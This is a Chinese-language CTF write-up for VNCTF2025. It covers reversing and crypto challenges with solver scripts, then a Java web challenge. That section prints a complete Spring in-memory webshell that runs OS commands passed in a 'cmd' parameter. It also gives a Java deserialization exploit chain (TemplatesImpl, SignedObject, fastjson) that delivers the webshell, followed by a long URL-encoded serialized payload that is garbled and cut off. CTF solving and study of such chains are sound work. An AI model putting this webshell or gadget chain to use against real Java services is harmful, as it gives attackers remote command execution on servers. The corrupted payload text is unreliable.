VNCTF2025
VN_Lang
直接用IDA打开 ctrl+f搜索 VNCTF
ss0Hurt!
首先,题目中的DaMie类在初始化的时候,将flag转换为整数m,并生成一个1024 位的素数n作为模数。然后,process 方法定义了一个线性变换,返回一个向量,这个向量的三个分量是5 x + y -5 z,5 y - z,5 z。然后Mat方法看起来是递归地应用这个线性变换多次,次数由m决定。最后,hash方法调用Mat,传入参数2025 ,208 ,209 ,得到结果。
目标是根据给出的n和hash的结果,反向求出m,也就是flag对应的整数,然后将这个整数转换为字符串得到flag。
Mat的参数是m,它递归地应用process 函数。当m=0 时,返回原始的process (x,y,z)。当m不为0 时,Mat(m)等于Mat(m//2 )的结果两次应用,如果m是偶数的话;如果是奇数的话,就是应用两次Mat(m//2 )之后再用一次process 。这看起来像是通过递归的方法,将线性变换的矩阵进行快速幂运算,因为每次递归都将问题规模减半,类似于快速幂算法。
所以,整个Mat函数的作用应该是将process 对应的线性变换应用m次。因为线性变换可以用矩阵乘法来表示,那么多次应用变换相当于矩阵的m次幂。因此,可能可以将process 函数对应的矩阵找出来,然后计算这个矩阵的m次幂,再作用于初始向量(A,B,C),即(2025 ,208 ,209 ),得到的结果模n后应该等于给定的hash结果。我们需要通过已知的输入和输出,求出m的值,即flag的整数形式。
对于向量[x, y, z]^T,乘以这个矩阵后的结果就是对应的三个分量。比如,第一个分量是5 x +1 *y + (-5 )*z,第二个是0 *x +5 y + (-1 )*z,第三个是0 *x +0 *y +5 *z。这应该就是变换矩阵M。
接下来,问题转化为,求这个矩阵M的m次幂,然后乘以初始向量[A,B,C]^T,模n后的结果等于给定的结果。这里的n已知,是给出的那个大素数。初始向量是(2025 , 208 , 209 ),结果向量是给定的三个大数,我们需要找到m使得:
M^m * [2025 , 208 , 209 ]^T ≡ [h1, h2, h3]^T mod n
这里h1, h2, h3是给出的三个哈希结果。
from sage.all import *
n = 106743081253087007974132382690669187409167641660258665859915640694456867788135702053312073228376307091325146727550371538313884850638568106223326195447798997814912891375244381751926653858549419946547894675646011818800255999071070352934719005006228971056393128007601573916373180007524930454138943896336817929823
h2 = 62503976674384744837417986781499538335164333679603320998241675970253762411134672614307594505442798271581593168080110727738181755339828909879977419645331630791420448736959554172731899301884779691119177400457640826361914359964889995618273843955820050051136401731342998940859792560938931787155426766034754760036
h3 = 93840121740656543170616546027906623588891573113673113077637257131079221429328035796416874995388795184080636312185908173422461254266536066991205933270191964776577196573147847000446118311985331680378772920169894541350064423243733498672684875039906829095473677927238488927923581806647297338935716890606987700071
B = 208
C = 209
inv_C = inverse_mod(C, n)
target = (h3 * inv_C) % n
inv5 = inverse_mod(5 , n)
numerator = (target * B - h2) % n
denominator = (target * inv5 * C) % n
inv_denominator = inverse_mod(denominator, n)
m = (numerator * inv_denominator) % n
from Crypto.Util.number import long_to_bytes
flag = long_to_bytes(m)
print (flag)
easymath
from Crypto.Util.number import long_to_bytes
from sympy import symbols, expand, solve
c=24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944
polynomial_str = "x**3 - 15264966144147258587171776703005926730518438603688487721465*x**2 + 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923*x - 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619"
x = symbols('x' )
polynomial = eval (polynomial_str)
roots = solve(polynomial, x)
n = [int (root) for root in roots]
N = 1
for p in n:
N *= p
from sympy.ntheory.modular import crt
from sympy.ntheory.residue_ntheory import sqrt_mod
solutions = []
for p in n:
sol = sqrt_mod(c, p, all_roots=True )
solutions.append(sol)
from itertools import product
flag_candidates = []
for combination in product(*solutions):
result, _ = crt(n, combination)
flag_candidates.append(result)
for candidate in flag_candidates:
try :
flag_bytes = long_to_bytes(candidate)
if b'VN' in flag_bytes:
print (f"Flag: {flag_bytes.decode()} " )
break
except :
continue
javaGuide
先在pom.xml查看版本
处理 "/deser"
路径的请求,该方法接收一个名为 payload
的请求参数,将其进行 Base64 解码,然后尝试使用自定义的 MyObjectInputStream
类对解码后的字节数组进行反序列化操作。如果反序列化过程中出现 InvalidClassException
,则返回异常信息;如果出现其他异常,则打印异常堆栈信息并返回 "exception"
;如果反序列化成功,则返回 "ok"
可以看到存在/deser的路由 同时根目录/我们发现一直是return hello的(搞了半天的路径)
package org.chenzi;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemShell extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config" );
configField.setAccessible(true );
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell" , HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition ();
RequestMappingInfo info = RequestMappingInfo.paths("/shell" )
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell ();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
}
}
public void shell (HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd" ) != null ) {
boolean isLinux = true ;
String osTyp = System.getProperty("os.name" );
if (osTyp != null && osTyp.toLowerCase().contains("win" )) {
isLinux = false ;
}
String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner (in).useDelimiter("\\A" );
String output = s.hasNext() ? s.next() : "" ;
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
package org.chenzi.CTF;
import com.alibaba.fastjson.JSONArray;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.shu.SpringMemShell;
import static org.shu.Poc.getFieldValue;
public class Exp {
public static void setValue (Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true );
field.set(obj, value);
}
public static byte [] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a" );
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz);
String sh = "Runtime.getRuntime().exec(\"" + cmd + "\");" ;
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49 );
return clazz.toBytecode();
}
public static void main (String[] args) throws Exception{
byte [] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes" , new byte [][]{bytes});
setValue(templates, "_name" , "1" );
setValue(templates, "_tfactory" , null );
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" );
kpg.initialize(1024 );
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject (templates, kp.getPrivate(), Signature.getInstance("DSA" ));
JSONArray jsonArray = new JSONArray ();
jsonArray.add(signedObject);
EventListenerList list = new EventListenerList ();
UndoManager manager = new UndoManager ();
Vector vector = (Vector) getFieldValue(manager, "edits" );
vector.add(jsonArray);
setValue(list, "listenerList" , new Object []{InternalError.class, manager});
HashMap hashMap = new HashMap ();
hashMap.put(signedObject,list);
byte [] serialize = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(serialize));
unserialize(serialize);
}
public static byte [] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream ();
ObjectOutputStream oos = new ObjectOutputStream (baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unserialize (byte [] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream (bytes);
ObjectInputStream ois = new ObjectInputStream (bais);
ois.readObject();
}
public static byte [] getBytes() throws IOException {
InputStream inputStream = new FileInputStream (new File ("SOAPUtils.class" ));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();
int n = 0 ;
while ((n=inputStream.read())!=-1 ){
byteArrayOutputStream.write(n);
}
byte [] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
payload=%72%4 f%30 %41%42%58%4 e%79%41%42%46%71%59%58%5 a%68%4 c%6 e%56%30 %61%57%77%75%53%47%46%7 a%61%45%31%68%63%41%55%48%32%73%48%44%46%6 d%44%52%41%77%41%43%52%67%41%4 b%62%47%39%68%5 a%45%5 a%68%59%33%52%76%63%6 b%6 b%41%43%58%52%6 f%63%6 d%56%7 a%61%47%39%73%5 a%48%68%77%50 %30 %41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%47%6 d%70 %68%64%6 d%45%75%63%32%56%6 a%64%58%4 a%70 %64%48%6 b%75%55%32%6 c%6 e%62%6 d%56%6 b%54%32%4 a%71%5 a%57%4 e%30 %43%66%2 b%39%61%43%6 f%38%31%66%38%43%41%41%4 e%62%41%41%64%6 a%62%32%35%30 %5 a%57%35%30 %64%41%41%43%57%30 %4 a%62%41%41%6 c%7 a%61%57%64%75%59%58%52%31%63%6 d%56%78%41%48%34%41%41%30 %77%41%44%48%52%6 f%5 a%57%46%73%5 a%32%39%79%61%58%52%6 f%62%58%51%41%45%6 b%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%55%33%52%79%61%57%35%6 e%4 f%33%68%77%64%58%49%41%41%6 c%74%43%72%50 %4 d%58%2 b%41%59%49%56%4 f%41%43%41%41%42%34%63%41%41%41%46%2 f%65%73%37%51%41%46%63%33%49%41%4 f%6 d%4 e%76%62%53%35%7 a%64%57%34%75%62%33%4 a%6 e%4 c%6 d%46%77%59%57%4 e%6 f%5 a%53%35%34%59%57%78%68%62%69%35%70 %62%6 e%52%6 c%63%6 d%35%68%62%43%35%34%63%32%78%30 %59%79%35%30 %63%6 d%46%34%4 c%6 c%52%6 c%62%58%42%73%59%58%52%6 c%63%30 %6 c%74%63%47%77%4 a%56%30 %2 f%42%62%71%79%72%4 d%77%4 d%41%42%6 b%6 b%41%44%56%39%70 %62%6 d%52%6 c%62%6 e%52%4 f%64%57%31%69%5 a%58%4 a%4 a%41%41%35%66%64%48%4 a%68%62%6 e%4 e%73%5 a%58%52%4 a%62%6 d%52%6 c%65%46%73%41%43%6 c%39%69%65%58%52%6 c%59%32%39%6 b%5 a%58%4 e%30 %41%41%4 e%62%57%30 %4 a%62%41%41%5 a%66%59%32%78%68%63%33%4 e%30 %41%42%4 a%62%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%44%62%47%46%7 a%63%7 a%74%4 d%41%41%56%66%62%6 d%46%74%5 a%58%51%41%45%6 b%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%55%33%52%79%61%57%35%6 e%4 f%30 %77%41%45%56%39%76%64%58%52%77%64%58%52%51%63%6 d%39%77%5 a%58%4 a%30 %61%57%56%7 a%64%41%41%57%54%47%70 %68%64%6 d%45%76%64%58%52%70 %62%43%39%51%63%6 d%39%77%5 a%58%4 a%30 %61%57%56%7 a%4 f%33%68%77%41%41%41%41%41%50 %2 f%2 f%2 f%2 f%39%31%63%67%41%44%57%31%74%43%53%2 f%30 %5 a%46%57%64%6 e%32%7 a%63%43%41%41%42%34%63%41%41%41%41%41%46%31%63%67%41%43%57%30 %4 b%73%38%78%66%34%42%67%68%55%34%41%49%41%41%48%68%77%41%41%41%57%79%38%72%2 b%75%72%34%41%41%41%41%30 %41%50 %67%4 b%41%44%63%41%65%77%67%41%66%41%73%41%4 b%67%42%39%43%41%42%2 b%43%67%42%2 f%41%49%41%4 b%41%41%6 b%41%67%51%67%41%67%67%6 f%41%43%51%43%44%42%77%43%45%43%41%43%46%43%41%43%47%43%41%43%48%43%41%43%49%43%67%43%4 a%41%49%6 f%4 b%41%49%6 b%41%69%77%6 f%41%6 a%41%43%4 e%42%77%43%4 f%43%67%41%52%41%49%38%49%41%4 a%41%4 b%41%42%45%41%6 b%51%6 f%41%45%51%43%53%43%67%41%52%41%4 a%4 d%49%41%4 a%51%4 c%41%43%73%41%6 c%51%6 f%41%6 c%67%43%58%43%67%43%57%41%4 a%67%4 b%41%4 a%6 b%41%6 d%67%67%41%6 d%77%73%41%6 e%41%43%64%42%77%43%65%42%77%43%66%43%77%41%65%41%4 b%41%4 b%41%4 b%45%41%6 f%67%67%41%62%51%6 f%41%4 b%51%43%6 a%43%67%43%6 b%41%4 b%55%4 b%41%4 b%51%41%70 %67%63%41%71%41%63%41%71%51%67%41%50 %77%63%41%71%67%63%41%71%77%63%41%72%41%6 f%41%4 b%51%43%74%42%77%43%75%42%77%43%76%43%67%41%74%41%4 c%41%49%41%4 c%45%4 b%41%4 b%63%41%73%67%73%41%73%77%43%30 %43%77%43%7 a%41%4 c%55%4 b%41%43%63%41%65%77%6 f%41%48%77%43%32%42%77%43%33%42%77%43%34%41%51%41%47%50 %47%6 c%75%61%58%51%2 b%41%51%41%44%4 b%43%6 c%57%41%51%41%45%51%32%39%6 b%5 a%51%45%41%44%30 %78%70 %62%6 d%56%4 f%64%57%31%69%5 a%58%4 a%55%59%57%4 a%73%5 a%51%45%41%45%6 b%78%76%59%32%46%73%56%6 d%46%79%61%57%46%69%62%47%56%55%59%57%4 a%73%5 a%51%45%41%42%48%52%6 f%61%58%4 d%42%41%42%68%4 d%62%33%4 a%6 e%4 c%33%4 e%6 f%64%53%39%54%63%48%4 a%70 %62%6 d%64%4 e%5 a%57%31%54%61%47%56%73%62%44%73%42%41%41%56%7 a%61%47%56%73%62%41%45%41%55%69%68%4 d%61%6 d%46%32%59%58%67%76%63%32%56%79%64%6 d%78%6 c%64%43%39%6 f%64%48%52%77%4 c%30 %68%30 %64%48%42%54%5 a%58%4 a%32%62%47%56%30 %55%6 d%56%78%64%57%56%7 a%64%44%74%4 d%61%6 d%46%32%59%58%67%76%63%32%56%79%64%6 d%78%6 c%64%43%39%6 f%64%48%52%77%4 c%30 %68%30 %64%48%42%54%5 a%58%4 a%32%62%47%56%30 %55%6 d%56%7 a%63%47%39%75%63%32%55%37%4 b%56%59%42%41%41%64%70 %63%30 %78%70 %62%6 e%56%34%41%51%41%42%57%67%45%41%42%57%39%7 a%56%48%6 c%77%41%51%41%53%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%54%64%48%4 a%70 %62%6 d%63%37%41%51%41%45%59%32%31%6 b%63%77%45%41%45%31%74%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%31%4 e%30 %63%6 d%6 c%75%5 a%7 a%73%42%41%41%4 a%70 %62%67%45%41%46%55%78%71%59%58%5 a%68%4 c%32%6 c%76%4 c%30 %6 c%75%63%48%56%30 %55%33%52%79%5 a%57%46%74%4 f%77%45%41%41%58%4 d%42%41%42%4 e%4 d%61%6 d%46%32%59%53%39%31%64%47%6 c%73%4 c%31%4 e%6 a%59%57%35%75%5 a%58%49%37%41%51%41%47%62%33%56%30 %63%48%56%30 %41%51%41%48%63%6 d%56%78%64%57%56%7 a%64%41%45%41%4 a%30 %78%71%59%58%5 a%68%65%43%39%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%32%68%30 %64%48%41%76%53%48%52%30 %63%46%4 e%6 c%63%6 e%5 a%73%5 a%58%52%53%5 a%58%46%31%5 a%58%4 e%30 %4 f%77%45%41%43%48%4 a%6 c%63%33%42%76%62%6 e%4 e%6 c%41%51%41%6 f%54%47%70 %68%64%6 d%46%34%4 c%33%4 e%6 c%63%6 e%5 a%73%5 a%58%51%76%61%48%52%30 %63%43%39%49%64%48%52%77%55%32%56%79%64%6 d%78%6 c%64%46%4 a%6 c%63%33%42%76%62%6 e%4 e%6 c%4 f%77%45%41%44%56%4 e%30 %59%57%4 e%72%54%57%46%77%56%47%46%69%62%47%55%48%41%49%51%48%41%45%59%48%41%4 c%6 b%48%41%49%34%48%41%4 b%6 b%48%41%4 b%73%48%41%4 b%77%42%41%41%70 %46%65%47%4 e%6 c%63%48%52%70 %62%32%35%7 a%42%77%43%36%41%51%41%4 a%64%48%4 a%68%62%6 e%4 e%6 d%62%33%4 a%74%41%51%42%79%4 b%45%78%6 a%62%32%30 %76%63%33%56%75%4 c%32%39%79%5 a%79%39%68%63%47%46%6 a%61%47%55%76%65%47%46%73%59%57%34%76%61%57%35%30 %5 a%58%4 a%75%59%57%77%76%65%48%4 e%73%64%47%4 d%76%52%45%39%4 e%4 f%31%74%4 d%59%32%39%74%4 c%33%4 e%31%62%69%39%76%63%6 d%63%76%59%58%42%68%59%32%68%6 c%4 c%33%68%74%62%43%39%70 %62%6 e%52%6 c%63%6 d%35%68%62%43%39%7 a%5 a%58%4 a%70 %59%57%78%70 %65%6 d%56%79%4 c%31%4 e%6 c%63%6 d%6 c%68%62%47%6 c%36%59%58%52%70 %62%32%35%49%59%57%35%6 b%62%47%56%79%4 f%79%6 c%57%41%51%41%49%5 a%47%39%6 a%64%57%31%6 c%62%6 e%51%42%41%43%31%4 d%59%32%39%74%4 c%33%4 e%31%62%69%39%76%63%6 d%63%76%59%58%42%68%59%32%68%6 c%4 c%33%68%68%62%47%46%75%4 c%32%6 c%75%64%47%56%79%62%6 d%46%73%4 c%33%68%7 a%62%48%52%6 a%4 c%30 %52%50 %54%54%73%42%41%41%68%6 f%59%57%35%6 b%62%47%56%79%63%77%45%41%51%6 c%74%4 d%59%32%39%74%4 c%33%4 e%31%62%69%39%76%63%6 d%63%76%59%58%42%68%59%32%68%6 c%4 c%33%68%74%62%43%39%70 %62%6 e%52%6 c%63%6 d%35%68%62%43%39%7 a%5 a%58%4 a%70 %59%57%78%70 %65%6 d%56%79%4 c%31%4 e%6 c%63%6 d%6 c%68%62%47%6 c%36%59%58%52%70 %62%32%35%49%59%57%35%6 b%62%47%56%79%4 f%77%63%41%75%77%45%41%70 %69%68%4 d%59%32%39%74%4 c%33%4 e%31%62%69%39%76%63%6 d%63%76%59%58%42%68%59%32%68%6 c%4 c%33%68%68%62%47%46%75%4 c%32%6 c%75%64%47%56%79%62%6 d%46%73%4 c%33%68%7 a%62%48%52%6 a%4 c%30 %52%50 %54%54%74%4 d%59%32%39%74%4 c%33%4 e%31%62%69%39%76%63%6 d%63%76%59%58%42%68%59%32%68%6 c%4 c%33%68%74%62%43%39%70 %62%6 e%52%6 c%63%6 d%35%68%62%43%39%6 b%64%47%30 %76%52%46%52%4 e%51%58%68%70 %63%30 %6 c%30 %5 a%58%4 a%68%64%47%39%79%4 f%30 %78%6 a%62%32%30 %76%63%33%56%75%4 c%32%39%79%5 a%79%39%68%63%47%46%6 a%61%47%55%76%65%47%31%73%4 c%32%6 c%75%64%47%56%79%62%6 d%46%73%4 c%33%4 e%6 c%63%6 d%6 c%68%62%47%6 c%36%5 a%58%49%76%55%32%56%79%61%57%46%73%61%58%70 %68%64%47%6 c%76%62%6 b%68%68%62%6 d%52%73%5 a%58%49%37%4 b%56%59%42%41%41%68%70 %64%47%56%79%59%58%52%76%63%67%45%41%4 e%55%78%6 a%62%32%30 %76%63%33%56%75%4 c%32%39%79%5 a%79%39%68%63%47%46%6 a%61%47%55%76%65%47%31%73%4 c%32%6 c%75%64%47%56%79%62%6 d%46%73%4 c%32%52%30 %62%53%39%45%56%45%31%42%65%47%6 c%7 a%53%58%52%6 c%63%6 d%46%30 %62%33%49%37%41%51%41%48%61%47%46%75%5 a%47%78%6 c%63%67%45%41%51%55%78%6 a%62%32%30 %76%63%33%56%75%4 c%32%39%79%5 a%79%39%68%63%47%46%6 a%61%47%55%76%65%47%31%73%4 c%32%6 c%75%64%47%56%79%62%6 d%46%73%4 c%33%4 e%6 c%63%6 d%6 c%68%62%47%6 c%36%5 a%58%49%76%55%32%56%79%61%57%46%73%61%58%70 %68%64%47%6 c%76%62%6 b%68%68%62%6 d%52%73%5 a%58%49%37%41%51%41%49%50 %47%4 e%73%61%57%35%70 %64%44%34%42%41%41%64%6 a%62%32%35%30 %5 a%58%68%30 %41%51%41%33%54%47%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%32%4 e%76%62%6 e%52%6 c%65%48%51%76%56%32%56%69%51%58%42%77%62%47%6 c%6 a%59%58%52%70 %62%32%35%44%62%32%35%30 %5 a%58%68%30 %4 f%77%45%41%46%57%31%68%63%48%42%70 %62%6 d%64%49%59%57%35%6 b%62%47%56%79%54%57%46%77%63%47%6 c%75%5 a%77%45%41%56%45%78%76%63%6 d%63%76%63%33%42%79%61%57%35%6 e%5 a%6 e%4 a%68%62%57%56%33%62%33%4 a%72%4 c%33%64%6 c%59%69%39%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%32%31%32%59%79%39%74%5 a%58%52%6 f%62%32%51%76%59%57%35%75%62%33%52%68%64%47%6 c%76%62%69%39%53%5 a%58%46%31%5 a%58%4 e%30 %54%57%46%77%63%47%6 c%75%5 a%30 %68%68%62%6 d%52%73%5 a%58%4 a%4 e%59%58%42%77%61%57%35%6 e%4 f%77%45%41%43%32%4 e%76%62%6 d%5 a%70 %5 a%30 %5 a%70 %5 a%57%78%6 b%41%51%41%5 a%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%79%5 a%57%5 a%73%5 a%57%4 e%30 %4 c%30 %5 a%70 %5 a%57%78%6 b%4 f%77%45%41%42%6 d%4 e%76%62%6 d%5 a%70 %5 a%77%45%41%46%45%4 a%31%61%57%78%6 b%5 a%58%4 a%44%62%32%35%6 d%61%57%64%31%63%6 d%46%30 %61%57%39%75%41%51%41%4 d%53%57%35%75%5 a%58%4 a%44%62%47%46%7 a%63%32%56%7 a%41%51%42%55%54%47%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%33%4 e%6 c%63%6 e%5 a%73%5 a%58%51%76%62%58%5 a%6 a%4 c%32%31%6 c%64%47%68%76%5 a%43%39%53%5 a%58%46%31%5 a%58%4 e%30 %54%57%46%77%63%47%6 c%75%5 a%30 %6 c%75%5 a%6 d%38%6 b%51%6 e%56%70 %62%47%52%6 c%63%6 b%4 e%76%62%6 d%5 a%70 %5 a%33%56%79%59%58%52%70 %62%32%34%37%41%51%41%48%62%57%56%30 %61%47%39%6 b%4 d%67%45%41%47%6 b%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%63%6 d%56%6 d%62%47%56%6 a%64%43%39%4 e%5 a%58%52%6 f%62%32%51%37%41%51%41%43%62%58%4 d%42%41%45%35%4 d%62%33%4 a%6 e%4 c%33%4 e%77%63%6 d%6 c%75%5 a%32%5 a%79%59%57%31%6 c%64%32%39%79%61%79%39%33%5 a%57%49%76%63%32%56%79%64%6 d%78%6 c%64%43%39%74%64%6 d%4 d%76%59%32%39%75%5 a%47%6 c%30 %61%57%39%75%4 c%31%4 a%6 c%63%58%56%6 c%63%33%52%4 e%5 a%58%52%6 f%62%32%52%7 a%55%6 d%56%78%64%57%56%7 a%64%45%4 e%76%62%6 d%52%70 %64%47%6 c%76%62%6 a%73%42%41%41%52%70 %62%6 d%5 a%76%41%51%41%2 f%54%47%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%33%4 e%6 c%63%6 e%5 a%73%5 a%58%51%76%62%58%5 a%6 a%4 c%32%31%6 c%64%47%68%76%5 a%43%39%53%5 a%58%46%31%5 a%58%4 e%30 %54%57%46%77%63%47%6 c%75%5 a%30 %6 c%75%5 a%6 d%38%37%41%51%41%59%63%33%42%79%61%57%35%6 e%51%32%39%75%64%48%4 a%76%62%47%78%6 c%63%6 b%31%6 c%62%56%4 e%6 f%5 a%57%78%73%42%77%43%33%41%51%41%4 b%55%32%39%31%63%6 d%4 e%6 c%52%6 d%6 c%73%5 a%51%45%41%45%31%4 e%77%63%6 d%6 c%75%5 a%30 %31%6 c%62%56%4 e%6 f%5 a%57%78%73%4 c%6 d%70 %68%64%6 d%45%4 d%41%44%67%41%4 f%51%45%41%41%32%4 e%74%5 a%41%77%41%76%41%43%39%41%51%41%48%62%33%4 d%75%62%6 d%46%74%5 a%51%63%41%76%67%77%41%76%77%43%39%44%41%44%41%41%4 d%45%42%41%41%4 e%33%61%57%34%4 d%41%4 d%49%41%77%77%45%41%45%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%54%64%48%4 a%70 %62%6 d%63%42%41%41%4 a%7 a%61%41%45%41%41%69%31%6 a%41%51%41%48%59%32%31%6 b%4 c%6 d%56%34%5 a%51%45%41%41%69%39%6 a%42%77%44%45%44%41%44%46%41%4 d%59%4 d%41%4 d%63%41%79%41%63%41%79%51%77%41%79%67%44%4 c%41%51%41%52%61%6 d%46%32%59%53%39%31%64%47%6 c%73%4 c%31%4 e%6 a%59%57%35%75%5 a%58%49%4 d%41%44%67%41%7 a%41%45%41%41%6 c%78%42%44%41%44%4 e%41%4 d%34%4 d%41%4 d%38%41%30 %41%77%41%30 %51%44%42%41%51%41%41%44%41%44%53%41%4 e%4 d%48%41%4 e%51%4 d%41%4 e%55%41%31%67%77%41%31%77%41%35%42%77%44%59%44%41%44%5 a%41%4 e%6 f%42%41%44%6 c%76%63%6 d%63%75%63%33%42%79%61%57%35%6 e%5 a%6 e%4 a%68%62%57%56%33%62%33%4 a%72%4 c%6 e%64%6 c%59%69%35%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%6 b%52%70 %63%33%42%68%64%47%4 e%6 f%5 a%58%4 a%54%5 a%58%4 a%32%62%47%56%30 %4 c%6 b%4 e%50 %54%6 c%52%46%57%46%51%48%41%4 e%73%4 d%41%4 e%77%41%33%51%45%41%4 e%57%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%32%4 e%76%62%6 e%52%6 c%65%48%51%76%56%32%56%69%51%58%42%77%62%47%6 c%6 a%59%58%52%70 %62%32%35%44%62%32%35%30 %5 a%58%68%30 %41%51%42%53%62%33%4 a%6 e%4 c%33%4 e%77%63%6 d%6 c%75%5 a%32%5 a%79%59%57%31%6 c%64%32%39%79%61%79%39%33%5 a%57%49%76%63%32%56%79%64%6 d%78%6 c%64%43%39%74%64%6 d%4 d%76%62%57%56%30 %61%47%39%6 b%4 c%32%46%75%62%6 d%39%30 %59%58%52%70 %62%32%34%76%55%6 d%56%78%64%57%56%7 a%64%45%31%68%63%48%42%70 %62%6 d%64%49%59%57%35%6 b%62%47%56%79%54%57%46%77%63%47%6 c%75%5 a%77%77%41%33%67%44%66%42%77%44%67%44%41%44%68%41%4 f%49%4 d%41%4 f%4 d%41%35%41%63%41%35%51%77%41%35%67%44%6 e%44%41%44%6 f%41%4 f%6 b%48%41%4 f%6 f%42%41%46%4 a%76%63%6 d%63%76%63%33%42%79%61%57%35%6 e%5 a%6 e%4 a%68%62%57%56%33%62%33%4 a%72%4 c%33%64%6 c%59%69%39%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%32%31%32%59%79%39%74%5 a%58%52%6 f%62%32%51%76%55%6 d%56%78%64%57%56%7 a%64%45%31%68%63%48%42%70 %62%6 d%64%4 a%62%6 d%5 a%76%4 a%45%4 a%31%61%57%78%6 b%5 a%58%4 a%44%62%32%35%6 d%61%57%64%31%63%6 d%46%30 %61%57%39%75%41%51%41%57%62%33%4 a%6 e%4 c%33%4 e%6 f%64%53%39%54%63%48%4 a%70 %62%6 d%64%4 e%5 a%57%31%54%61%47%56%73%62%41%45%41%44%32%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%44%62%47%46%7 a%63%77%45%41%4 a%57%70 %68%64%6 d%46%34%4 c%33%4 e%6 c%63%6 e%5 a%73%5 a%58%51%76%61%48%52%30 %63%43%39%49%64%48%52%77%55%32%56%79%64%6 d%78%6 c%64%46%4 a%6 c%63%58%56%6 c%63%33%51%42%41%43%5 a%71%59%58%5 